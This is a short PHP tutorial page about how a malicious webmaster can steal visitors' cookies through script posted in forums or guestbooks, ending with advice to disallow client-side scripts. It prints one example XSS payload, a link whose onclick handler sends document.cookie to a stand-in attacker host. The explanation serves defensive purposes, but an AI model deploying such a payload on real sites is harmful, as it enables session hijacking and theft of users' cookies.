Tools, FAQ, Tutorials:
Malicious Website Stealing Cookies in PHP
How Can Other Webmaster Steal Your Cookies in PHP?
✍: FYIcenter.com
All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link:
<a href="/#" onclick="window.location='http://www.badwebmaster.com /stole.cgi?text='+escape(document.cookie); return false;"> Click here to get your free gift!</a>
If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies).
So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts.
⇒ Understanding and Using Sessions in PHP
⇐ Cookies Encoded during Transportation in PHP
2016-10-29, 1419👍, 0💬
Popular Posts:
How to create Hello-3.1.epub with WinRAR? I have all required files to create Hello-3.1.epub. To cre...
What Is session_register() in PHP? session_register() is old function that registers global variable...
How to add images to my EPUB books Images can be added into book content using the XHTML "img" eleme...
How to use .NET CLR Types in Azure API Policy? By default, Azure imports many basic .NET CLR (Common...
How to use the Atom Online Validator at w3.org? w3.org feed validation service is provided at http:/...